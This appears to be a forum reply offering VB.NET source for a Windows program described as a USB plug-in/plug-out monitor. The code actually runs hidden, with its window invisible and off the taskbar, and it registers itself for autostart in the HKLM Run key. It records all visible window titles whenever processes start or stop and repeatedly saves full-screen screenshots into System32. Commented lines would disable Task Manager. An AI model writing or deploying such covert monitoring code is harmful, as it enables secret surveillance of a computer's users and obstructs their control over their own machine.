try this,
Imports System.Diagnostics
Imports System.Runtime.InteropServices
Imports Microsoft.VisualBasic
Imports System.IO
Imports Microsoft.VisualBasic.Compatibility.VB6
Imports System.Text
Imports System.Management
Imports Microsoft.Win32
Public Class Form1
Public Declare Function EnumWindows Lib "user32.dll" (ByVal lpEnumFunc As EnumWindowsProc, ByVal lParam As Int32) As Int32
Public Declare Function IsWindowVisible Lib "user32.dll" (ByVal hwnd As IntPtr) As Boolean
Public Delegate Function EnumWindowsProc(ByVal hwnd As IntPtr, ByVal lParam As Int32) As Boolean
Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As IntPtr, ByVal lpString As String, ByVal cch As Int32) As Int32
Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As IntPtr) As Int32
Public Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hwnd As IntPtr, ByVal nIndex As Int32) As Int32
Public Declare Function GetParent Lib "user32.dll" (ByVal intptr As IntPtr) As IntPtr
Private Declare Function GetWindowRect Lib "user32.dll" (ByVal hWnd As IntPtr, ByRef lpRect As RECT) As Boolean
Public Const GWL_HWNDPARENT As Int32 = -8
Private newwindowlist As List(Of String)
Private newhandlelist As List(Of IntPtr)
Dim systemRegistry As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
Private Structure RECT
Public left As Integer
Public top As Integer
Public right As Integer
Public bottom As Integer
Public Sub New(ByVal _left As Integer, ByVal _top As Integer, ByVal _right As Integer, ByVal _bottom As Integer)
top = _top
right = _right
bottom = _bottom
End Sub
End Structure
Dim startWatch As ManagementEventWatcher
Dim stopwatch As ManagementEventWatcher
Dim Com_Name As String
Dim bm As Bitmap
Private WM_DEVICECHANGE As Integer = &H219
Public Enum WM_DEVICECHANGE_WPPARAMS As Integer
DBT_CONFIGCHANGECANCELED = &H19
DBT_CONFIGCHANGED = &H18
DBT_CUSTOMEVENT = &H8006
DBT_DEVICEARRIVAL = &H8000
DBT_DEVICEQUERYREMOVE = &H8001
DBT_DEVICEQUERYREMOVEFAILED = &H8002
DBT_DEVICEREMOVECOMPLETE = &H8004
DBT_DEVICEREMOVEPENDING = &H8003
DBT_DEVICETYPESPECIFIC = &H8005
DBT_DEVNODES_CHANGED = &H7
DBT_QUERYCHANGECONFIG = &H17
DBT_USERDEFINED = &HFFFF
End Enum
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
Private Function EnumWinProc(ByVal hwnd As IntPtr, ByVal lParam As Int32) As Boolean
If IsWindowVisible(hwnd) Then
If GetParent(hwnd) = IntPtr.Zero Then
If GetWindowLong(hwnd, GWL_HWNDPARENT) = 0 Then
Dim str As String = String.Empty.PadLeft(GetWindowTextLength(hwnd) + 1)
GetWindowText(hwnd, str, str.Length)
If Not String.IsNullOrEmpty(str.Substring(0, str.Length - 1)) Then
newwindowlist.Add(str.Substring(0, str.Length - 1))
End If
End If
End If
End If
EnumWinProc = True
End Function
'Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
' systemRegistry.SetValue("DisableTaskMgr", 0)
' systemRegistry.Close()
'End Sub
Private Sub RefreshWindowList()
newwindowlist = New List(Of String)
EnumWindows(AddressOf EnumWinProc, CInt(True))
End Sub
Public Function Apllication_List() As Boolean
Dim temp As String = ""
Dim f1 As FileStream = File.Create("c:\WINDOWS\System32\USBAnalyser\Application.txt")
RefreshWindowList()
For Each item As String In newwindowlist
temp = temp & "#" & item.ToString.Trim
Next
temp = temp.Substring(1)
Dim x() As Byte = New UTF8Encoding(True).GetBytes(temp)
f1.Write(x, 0, temp.Length)
f1.Close()
End Function
Public Sub Init_Proces_Listen()
Try
startWatch = New ManagementEventWatcher(New WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"))
AddHandler startWatch.EventArrived, AddressOf startWatch_EventArrived
startWatch.Start()
Catch ex As Exception
MsgBox(ex.Message)
startWatch.Stop()
Application.Exit()
End Try
Try
stopwatch = New ManagementEventWatcher(New WqlEventQuery("SELECT * FROM Win32_ProcessStopTrace"))
AddHandler stopwatch.EventArrived, AddressOf stopWatch_EventArrived
stopwatch.Start()
Catch ex As Exception
MsgBox(ex.Message)
stopwatch.Stop()
Application.Exit()
End Try
End Sub
Public Sub stopWatch_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs)
Apllication_List()
End Sub
Public Sub startWatch_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs)
Apllication_List()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'systemRegistry.SetValue("DisableTaskMgr", 1)
'systemRegistry.Close()
' My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
Me.WindowState = FormWindowState.Minimized
Me.Visible = False
Me.ShowInTaskbar = False
Me.Opacity = 0
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
listener()
Timer1.Enabled = True
End Sub
Sub listener()
Init_Proces_Listen()
End Sub
Public Sub Current_LocalHost_Name()
Com_Name = System.Windows.Forms.SystemInformation.ComputerName
End Sub
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_DEVICECHANGE Then
Select Case m.WParam
Case WM_DEVICECHANGE_WPPARAMS.DBT_DEVICEARRIVAL
Dim Info As String = " USB PluggedIn Time : " & Now
Dim f1 As FileStream = File.Create("c:\WINDOWS\System32\USBAnalyser\USBInsert.txt")
Dim x() As Byte = New UTF8Encoding(True).GetBytes(Info)
f1.Write(x, 0, Info.Length)
f1.Close()
Case WM_DEVICECHANGE_WPPARAMS.DBT_DEVICEREMOVECOMPLETE
Dim Info As String = " USB PluggedOut Time: " & Now
Dim f1 As FileStream = File.Create("c:\WINDOWS\System32\USBAnalyser\USBRemove.txt")
Dim x() As Byte = New UTF8Encoding(True).GetBytes(Info)
f1.Write(x, 0, Info.Length)
f1.Close()
End Select
End If
MyBase.WndProc(m)
End Sub
Public Sub SaveScreen()
Try
Dim gr As Graphics
bm = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, Drawing.Imaging.PixelFormat.Format32bppArgb)
gr = Graphics.FromImage(bm)
gr.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, New Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))
bm.Save("C:\WINDOWS\system32\USBAnalyser\ScreenShots.jpg")
Catch ex As Exception
End Try
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
System.Threading.Thread.Sleep(1000) ' To have time to catch the clipboard
SaveScreen()
End Sub
End Class
it will check usb disk plug in and plug out and etc...
regards
sarva